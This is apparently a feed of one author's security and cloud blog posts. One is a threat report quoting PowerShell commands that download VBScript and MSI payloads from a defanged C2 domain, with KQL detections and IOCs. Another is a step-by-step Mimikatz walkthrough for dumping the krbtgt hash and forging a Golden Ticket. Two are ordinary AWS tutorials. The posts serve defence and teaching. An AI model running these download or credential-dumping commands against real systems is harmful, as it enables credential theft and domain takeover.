&lt;p&gt;&lt;strong&gt;Initial Access &amp;amp; Delivery Chain Summary&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Threat actors leveraged WhatsApp as the initial access channel, sending messages to multiple employees within the organization to build trust before sharing a malicious ZIP file. Since ZIP files cannot be opened on mobile devices, users were compelled to access the archive on their endpoints, where they were deceived into executing an embedded VBScript payload.&lt;/li&gt;
&lt;li&gt;Execution of the VBScript initiated a multi-stage payload delivery mechanism, where it:&lt;/li&gt;
&lt;li&gt;Downloaded a secondary VBScript and an MSI installer from a remote C2 server (varegjopeaks[.]com) and saved them to the temporary directory.&lt;/li&gt;
&lt;li&gt;Executed the MSI file silently via msiexec.exe, which dropped an additional VBS script named “installer”.&lt;/li&gt;
&lt;li&gt;Created persistence by adding the installer script to the Run registry key.&lt;/li&gt;
&lt;li&gt;Downloaded a specific Python environment and executed a PowerShell script that profiled the installed Chrome version and downloaded the official Chrome test automation driver.&lt;/li&gt;
&lt;li&gt;Accessed and exfiltrated credentials stored in the Chrome password vault, continuously harvesting newly saved passwords due to the established persistence.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Observed Malicious Execution Activity&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F8o2w4j9jt9ikdfq784ve.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F8o2w4j9jt9ikdfq784ve.png" alt=" " width="800" height="231"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;WScript Executions&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;"wscript.exe" C:\Users*\AppData\Local\Temp\baixa_sscado.vbs&lt;/li&gt;
&lt;li&gt;"WScript.exe" C:\Users*\AppData\Local\Temp**.zip.0e6*.vbs&lt;/li&gt;
&lt;li&gt;"wscript.exe" C:\Users*\AppData\Local\Temp\installer.vbs&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;PowerShell Download Activity&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;"powershell.exe" -ep bypass -c "Invoke-WebRequest -Uri 'hxxps://varegjopeaks[.]com/altor/baixa_sscado.vbs' -OutFile $env:TEMP\baixa_sscado.vbs -UseBasicParsing"&lt;/li&gt;
&lt;li&gt;"powershell.exe" -ep bypass -c "Invoke-WebRequest -Uri 'hxxps://varegjopeaks[.]com/altor/teste_obscado.vbs' -OutFile $env:TEMP\installer.vbs -UseBasicParsing"&lt;/li&gt;
&lt;li&gt;"powershell.exe" -ep bypass -c "Invoke-WebRequest -Uri 'hxxps://varegjopeaks[.]com/altor/installer.msi' -OutFile $env:TEMP\installer.msi -UseBasicParsing"&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Msiexec Execution&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;"msiexec.exe" /i C:\Users*\AppData\Local\Temp\installer.msi /quiet /norestart&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Detection query :&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;There will be false positives in the results, which must be eliminated through validation and filtering.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;DeviceProcessEvents&lt;br&gt;
| where InitiatingProcessFileName contains "wscript"&lt;br&gt;
| where FileName contains "powershell.exe"&lt;br&gt;
| where ProcessCommandLine has_any ("-enc", "-encode", "http", "https", "Invoke-RestMethod", "New-Object Net.WebClient", "System.Net.HttpWebRequest", "DownloadFile", "curl", "wget","iex","iwr")&lt;br&gt;
| distinct ProcessCommandLine,InitiatingProcessCommandLine&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;.vbs &amp;amp; .msi Execution Identification :&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;union isfuzzy=true DeviceProcessEvents&lt;br&gt;
| where FileName contains "powershell.exe"&lt;br&gt;
| where ProcessCommandLine has_any ("-enc", "-encode", "http", "https", "Invoke-RestMethod", "New-Object Net.WebClient", "System.Net.HttpWebRequest", "DownloadFile", "curl", "wget","iex","iwr")&lt;br&gt;
| project DeviceName,T1 = Timestamp , ProcessCommandLine , InitiatingProcessCommandLine&lt;br&gt;
| join kind=inner ( DeviceProcessEvents &lt;br&gt;
| where ProcessCommandLine contains "wscript" or ProcessCommandLine contains "msiexec"&lt;br&gt;
| where ProcessCommandLine contains ".msi" or ProcessCommandLine contains ".vbs"&lt;br&gt;
| project DeviceName,T2 = Timestamp , ProcessCommandLine1 = ProcessCommandLine , InitiatingProcessCommandLine1 = InitiatingProcessCommandLine&lt;br&gt;
) on DeviceName&lt;br&gt;
| extend timedifference = abs(datetime_diff('minute', T1, T2))&lt;br&gt;
| where timedifference &amp;lt; 1&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Reference :&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.joesandbox.com/analysis/1801119/0/html" rel="noopener noreferrer"&gt;https://www.joesandbox.com/analysis/1801119/0/html&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;IOC&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;36805f82166acf711007ab42e0e4147c10c7639fbf94eac9a1d26401e91a26ea&lt;/li&gt;
&lt;li&gt;8041b6cdeb3a4502066d18d024e671577dda23d4a1e4d083f34fcbfa39469279&lt;/li&gt;
&lt;li&gt;varegjopeaks[.]com/altor/teste_obscado[.]vbs&lt;/li&gt;
&lt;li&gt;varegjopeaks[.]com/altor/baixa_sscado[.]vbs&lt;/li&gt;
&lt;li&gt;varegjopeaks[.]com&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>networksec</category>
      <category>news</category>
    </item>
    <item>
      <title>Golden Ticket Attack: Forging Kerberos Tickets with Mimikatz</title>
      <dc:creator>Puneet Jena</dc:creator>
      <pubDate>Fri, 22 Aug 2025 20:32:06 +0000</pubDate>
      <link>https://forem.com/jenapuneet/golden-ticket-attack-forging-kerberos-tickets-with-mimikatz-19o0</link>
      <guid>https://forem.com/jenapuneet/golden-ticket-attack-forging-kerberos-tickets-with-mimikatz-19o0</guid>
      <description>&lt;p&gt;A Golden Ticket is a forged Kerberos Ticket Granting Ticket (TGT) generated using the krbtgt account hash from Active Directory. With it, attackers can impersonate any user (even Domain Admins) and access any service in the domain.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Launch Mimikatz
.\mimikatz.exe&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fejjuo244dw3erhr0n744.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fejjuo244dw3erhr0n744.png" alt=" " width="705" height="448"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Enable Debug Privileges
privilege::debug&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fye4w25ho8phlsd8o40go.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fye4w25ho8phlsd8o40go.png" alt=" " width="593" height="62"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Dump the krbtgt Account Hash
lsadump::lsa /inject /name:krbtgt&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fabr8bdf7bpj1l3o3plon.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fabr8bdf7bpj1l3o3plon.png" alt=" " width="790" height="642"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;lsadump::lsa is just one way. Mimikatz provides multiple methods to obtain credentials for Golden Ticket creation, such as:&lt;/li&gt;
&lt;li&gt;lsadump::dcsync → Replicates account data directly from a DC.&lt;/li&gt;
&lt;li&gt;sekurlsa::logonpasswords → Extracts credentials from LSASS in memory.&lt;/li&gt;
&lt;li&gt;sekurlsa::minidump  → Loads a dumped LSASS process memory for offline credential extraction.&lt;/li&gt;
&lt;/ul&gt;

&lt;ol&gt;
&lt;li&gt;Create the Golden Ticket
kerberos::golden /user:Administrator /domain: /sid: /krbtgt: /id:500&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fjejagfgnvmq3qqamozkn.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fjejagfgnvmq3qqamozkn.png" alt=" " width="742" height="442"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Defender Detection Ideas&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://attack.mitre.org/techniques/T1558/001/" rel="noopener noreferrer"&gt;https://attack.mitre.org/techniques/T1558/001/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Suspicious LSASS Parent Processes &amp;amp; Commandline :&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;DeviceProcessEvents&lt;br&gt;
| where FileName contains "lsass.exe"&lt;br&gt;
| summarize count()by InitiatingProcessFileName&lt;/p&gt;

&lt;p&gt;DeviceProcessEvents&lt;br&gt;
| where ProcessCommandLine contains "lsass.exe"&lt;br&gt;
| where&lt;br&gt;
    // --- Mimikatz module usage ---&lt;br&gt;
    ProcessCommandLine has_any ("sekurlsa", "minidump", "lsass.dmp")&lt;br&gt;
    // --- ProcDump dumping LSASS ---&lt;br&gt;
    or ProcessCommandLine has_any ("procdump", "-ma", "lsass.dmp")&lt;br&gt;
    // --- Rundll32 with comsvcs.dll to dump LSASS ---&lt;br&gt;
    or ProcessCommandLine has "comsvcs.dll"&lt;br&gt;
    // --- PowerShell invoking Mimikatz ---&lt;br&gt;
    or ProcessCommandLine has "Invoke-Mimikatz"&lt;br&gt;
| project&lt;br&gt;
    Timestamp ,&lt;br&gt;
    DeviceName,&lt;br&gt;
    FileName,&lt;br&gt;
    ProcessCommandLine,&lt;br&gt;
    InitiatingProcessAccountName,&lt;br&gt;
    InitiatingProcessParentFileName&lt;br&gt;
| order by Timestamp desc&lt;/p&gt;

</description>
    </item>
    <item>
      <title>"Unified Agent Installation and Log Monitoring on Amazon EC2 Using CloudWatch: A Step-by-Step Guide"</title>
      <dc:creator>Puneet Jena</dc:creator>
      <pubDate>Fri, 13 Oct 2023 18:42:27 +0000</pubDate>
      <link>https://forem.com/jenapuneet/unified-agent-installation-and-log-monitoring-on-amazon-ec2-using-cloudwatch-a-step-by-step-guide-1a03</link>
      <guid>https://forem.com/jenapuneet/unified-agent-installation-and-log-monitoring-on-amazon-ec2-using-cloudwatch-a-step-by-step-guide-1a03</guid>
      <description>&lt;p&gt;&lt;strong&gt;1.Sign in to the AWS Management Console:&lt;/strong&gt;&lt;br&gt;
&lt;strong&gt;2.Log in to your AWS account using your credentials.&lt;/strong&gt;&lt;br&gt;
&lt;strong&gt;3.Launch an EC2 Instance:&lt;/strong&gt;&lt;br&gt;
&lt;strong&gt;4.First of all create required IAM roles for the EC2 instances to be able to send metrics to cloudwatch&lt;/strong&gt;&lt;br&gt;
In the list of policies while creating IAM Role for EC2 Instance, select the check box next to CloudWatchAgentServerPolicy. Use the search box to find the policy, if necessary.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F517u7uvo89a5f1bdgo0m.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F517u7uvo89a5f1bdgo0m.png" alt=" " width="800" height="274"&gt;&lt;/a&gt;&lt;br&gt;
&lt;strong&gt;5.Download the CloudWatch Unified Agent:&lt;/strong&gt;&lt;br&gt;
wget &lt;a href="https://s3.amazonaws.com/amazoncloudwatch-agent/your_os_architecture/latest/amazon-cloudwatch-agent.rpm" rel="noopener noreferrer"&gt;https://s3.amazonaws.com/amazoncloudwatch-agent/your_os_architecture/latest/amazon-cloudwatch-agent.rpm&lt;/a&gt;&lt;br&gt;
&lt;strong&gt;6.Install the CloudWatch Agent:&lt;/strong&gt;&lt;br&gt;
sudo rpm -U ./amazon-cloudwatch-agent.rpm&lt;br&gt;
&lt;strong&gt;7.Configure the CloudWatch Agent:&lt;/strong&gt;&lt;br&gt;
sudo /opt/aws/amazon-cloudwatch-agent/bin/amazon-cloudwatch-agent-config-wizard&lt;br&gt;
&lt;strong&gt;8.Start the Agent:&lt;/strong&gt;&lt;br&gt;
sudo /opt/aws/amazon-cloudwatch-agent/bin/amazon-cloudwatch-agent-ctl -a fetch-config -m ec2 -c file:/opt/aws/amazon-cloudwatch-agent/bin/config.json -s&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F72hqzivgpdpymfu9sngg.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F72hqzivgpdpymfu9sngg.png" alt=" " width="800" height="600"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Feer4611mtwws3zisa88d.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Feer4611mtwws3zisa88d.png" alt=" " width="706" height="644"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fn9vmls9sihdqygh93n8g.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fn9vmls9sihdqygh93n8g.png" alt=" " width="386" height="585"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;choose these all options to set-up&lt;/p&gt;

&lt;h2&gt;
  
  
  Steps
&lt;/h2&gt;

&lt;p&gt;First let’s install and start a web server to generate some web traffic logs. This commmad works for RHEL and Amazon Linux.&lt;br&gt;
&lt;strong&gt;sudo yum install httpd -y&lt;/strong&gt;&lt;br&gt;
&lt;strong&gt;sudo service httpd start&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Copy the public IP of the instance you’re on and paste that in a web browser and refresh a few times.
&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Flp5ubcgu92crsui7j3o8.png" alt=" " width="800" height="307"&gt;
&lt;strong&gt;see a new custom metric in cloud watch&lt;/strong&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fguec1qu3akn574mjq45m.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fguec1qu3akn574mjq45m.png" alt=" " width="800" height="209"&gt;&lt;/a&gt;&lt;/p&gt;

</description>
    </item>
    <item>
      <title>"Building Scalable Cloud Architecture with Terraform: Harnessing VPC Endpoints, VPC Peering, and Load Balancing"</title>
      <dc:creator>Puneet Jena</dc:creator>
      <pubDate>Tue, 25 Jul 2023 15:03:30 +0000</pubDate>
      <link>https://forem.com/jenapuneet/building-scalable-cloud-architecture-with-terraform-harnessing-vpc-endpoints-vpc-peering-and-load-balancing-1ip2</link>
      <guid>https://forem.com/jenapuneet/building-scalable-cloud-architecture-with-terraform-harnessing-vpc-endpoints-vpc-peering-and-load-balancing-1ip2</guid>
      <description>&lt;p&gt;In this overview, we will explore the process of architecting a robust and scalable multi-region cloud infrastructure using Amazon Web Services (AWS) and Terraform. We will create two servers in the Mumbai (ap-south-1) region - one private and the other public. Additionally, we will establish an interface endpoint for the private server, set up load balancing for our application, and create a VPC peering connection between the Mumbai VPC and a VPC created in the N. Virginia (us-east-1) region.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Creating a VPC&lt;/strong&gt;:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;- To begin, let's define a VPC in the N. Virginia (us-east-1) region with the CIDR block "11.0.0.0/16". The CIDR block represents the IP address range that the VPC will use for its instances.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;Creating a Public Subnet:&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Next, we'll create a public subnet within our VPC. A subnet is a segmented range of IP addresses within the VPC. In this case, we'll create a subnet with the CIDR block "11.0.1.0/24" in the availability zone "us-east-1a".&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;Configuring an Internet Gateway:&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;- For instances in the public subnet to access the internet, we need an internet gateway. The internet gateway acts as a bridge between the VPC and the internet.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;Setting Up a Route Table:&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;- To control the traffic flow between the subnet and the internet gateway, we need to create a route table and associate it with the public subnet.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;Adding a Route to the Internet Gateway:&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;- Now, we'll add a route in the route table that points all traffic (0.0.0.0/0) to the internet gateway.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fp8ftvwcvuw2tlz3lpv6r.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fp8ftvwcvuw2tlz3lpv6r.png" alt=" " width="800" height="352"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F8uwiu5t1fg1tpxwngitx.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F8uwiu5t1fg1tpxwngitx.png" alt=" " width="800" height="429"&gt;&lt;/a&gt;&lt;br&gt;
&lt;strong&gt;Repeat the same process in mumbai region with Peering Connection&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F77nzvmeywzhb3ul4tjzi.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F77nzvmeywzhb3ul4tjzi.png" alt=" " width="800" height="519"&gt;&lt;/a&gt;&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Foqak3932nmx6zpcfjtmu.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Foqak3932nmx6zpcfjtmu.png" alt=" " width="800" height="477"&gt;&lt;/a&gt;&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F1ck3sxvto04oi2eeaf1h.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F1ck3sxvto04oi2eeaf1h.png" alt=" " width="800" height="472"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;** Configuring  VPC Peering and edit routes:**&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmfxgzx36xszjj4sd66g2.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmfxgzx36xszjj4sd66g2.png" alt=" " width="800" height="503"&gt;&lt;/a&gt;&lt;br&gt;
&lt;strong&gt;Launching Instances in N. Virginia (us-east-1) AND Mumbai (ap-south-1):&lt;/strong&gt;&lt;br&gt;
Using Terraform, we can define our instance configuration for the N. Virginia region. This involves specifying the AMI (Amazon Machine Image), instance type, security groups, and other relevant details.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F9nyrhas2ytlc5ptocz2n.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F9nyrhas2ytlc5ptocz2n.png" alt=" " width="800" height="547"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5cgy3unwx10hsshup908.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5cgy3unwx10hsshup908.png" alt=" " width="800" height="306"&gt;&lt;/a&gt;&lt;br&gt;
&lt;strong&gt;Configuring Security Groups for N. Virginia Instances and Mumbai:&lt;/strong&gt;&lt;br&gt;
Using Terraform, we'll define the security group rules for instances launched in the N. Virginia region and Mumbai. This involves specifying inbound and outbound rules based on our identified security requirements.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Febbvtvkeba1dh1cfkqeq.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Febbvtvkeba1dh1cfkqeq.png" alt=" " width="800" height="555"&gt;&lt;/a&gt;&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fm28em5dch5rx4syfayx1.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fm28em5dch5rx4syfayx1.png" alt=" " width="800" height="550"&gt;&lt;/a&gt;&lt;br&gt;
&lt;strong&gt;Setting Up Load Balancer:&lt;/strong&gt;&lt;br&gt;
We'll start by defining an Application Load Balancer (ALB) that can distribute traffic across instances within the N. Mumbai(ap-south-1) region.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Creating Target Groups:&lt;/strong&gt;&lt;br&gt;
Target groups enable load balancers to direct traffic to specific instances based on defined criteria. We'll create a target group for our instances and configure the health check settings to ensure seamless traffic routing.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Configuring Listener:&lt;/strong&gt;&lt;br&gt;
The listener defines how the load balancer should route incoming traffic to target groups. We'll configure the listener to accept HTTP requests on a specific port and forward them to the previously created target group.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxi2mj9km40inngqckn5k.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxi2mj9km40inngqckn5k.png" alt=" " width="800" height="499"&gt;&lt;/a&gt;&lt;br&gt;
&lt;strong&gt;Defining Security Group Rules for the Load Balancer:&lt;/strong&gt;&lt;br&gt;
Using Terraform, we'll create a security group specifically designed to protect the load balancer. We'll define rules to allow incoming traffic on the necessary ports (e.g., HTTP) while restricting unauthorized access.&lt;/p&gt;

